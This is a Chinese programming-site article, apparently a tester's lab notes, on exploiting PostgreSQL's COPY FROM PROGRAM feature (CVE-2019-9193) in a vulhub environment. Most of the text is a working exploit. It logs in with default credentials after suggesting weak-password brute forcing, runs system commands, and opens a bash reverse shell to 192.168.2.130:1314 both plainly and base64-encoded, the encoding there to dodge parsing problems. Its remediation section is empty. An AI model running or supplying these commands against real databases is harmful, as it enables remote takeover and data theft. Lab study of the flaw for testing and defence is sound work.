文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

CVE-2019-9193之PostgreSQL 任意命令执行漏洞的问题

2022-11-13 13:54

关注

起序:客户内网测试的时候遇到的,搭建一个环境,写个笔记记录一下。

一、靶场环境

使用的是 github 上的 vulhub 环境。PostgreSQL 版本为 10.7

vulhub:https://github.com/vulhub/vulhub

1、任意命令执行

具有数据库服务器文件读取权限的攻击者可以利用此漏洞执行任意系统命令。

从 9.3 版本开始,Postgres 新增了一个 COPY TO/FROM PROGRAM 功能,允许数据库的超级用户以及 pg_read_server_files 组中的任何用户执行操作系统命令。

漏洞利用前提:

需要登陆;需要高权限;

所以要先弱口令爆破之后,然后查看是否是高权限。(对于PostgreSQL 来说,只有安装数据库时默认创建的超级用户 postgres,类似于 Linux上的root用户,拥有高权限。)

新建数据库用户:CREATE USER
新建数据库:CREATE DATABASE
删除数据库:DROP DATABASE
删除用户:DROP USER
撤销权限:REVOKE
赋权:GRANT

查看权限:https://www.modb.pro/db/53957

2、影响版本

受影响的版本(貌似更新版本无解)

PostgreSQL >= 9.3

二、漏洞利用

1、启动靶机

docker-compose up -d

注:当测试完成之后会用到 关闭靶机 的命令。不是现在就要使用的命令。

docker-compose down -v

2、Navicat 连接 PostgreSQL

账号密码:postgres:postgres

3、执行命令

右键 public,点击 新建查询

然后就是执行下面的这些命令。

-- 先删除你想要使用但是已经存在的表
DROP TABLE IF EXISTS cmd_exec;

-- 创建保存系统命令输出的表
CREATE TABLE cmd_exec(cmd_output text);

-- 执行系统命令利用特定函数
COPY cmd_exec FROM PROGRAM 'id'; 

-- 查看执行结果
SELECT * FROM cmd_exec;

4、实战拓展:反弹 shell 1、nc 监听

在 kali 中使用 nc 进行监听。

nc -lvvp 1314

2、执行反弹 shell 的命令

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/192.168.2.130/1314 0>&1'; 
SELECT * FROM cmd_exec;

但是可以看出执行失败了,这种方法不行。

3、反弹失败

kali 也没有得到 shell。

4、编码解决

将反弹 shell 的命令 base64 编码一下。(下面的解码不用管)

# base64 编码前
/bin/bash -i >& /dev/tcp/192.168.2.130/1314 0>&1

# base64 编码后
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMzAvMTMxNCAwPiYxCg==

5、再次执行反弹 shell 的命令

这里的编码不仅仅限于 base64,其他编码形式也可以,主要是为了解决数据传输过程中的特殊字符被异常解析的问题。

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMzAvMTMxNCAwPiYxCg==" | base64 -d | bash'; 
SELECT * FROM cmd_exec;

6、反弹成功

三、漏洞修复

到此这篇关于CVE-2019-9193:PostgreSQL 任意命令执行漏洞的文章就介绍到这了,更多相关PostgreSQL 任意命令执行漏洞内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     807人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     351人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     314人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     433人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     221人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯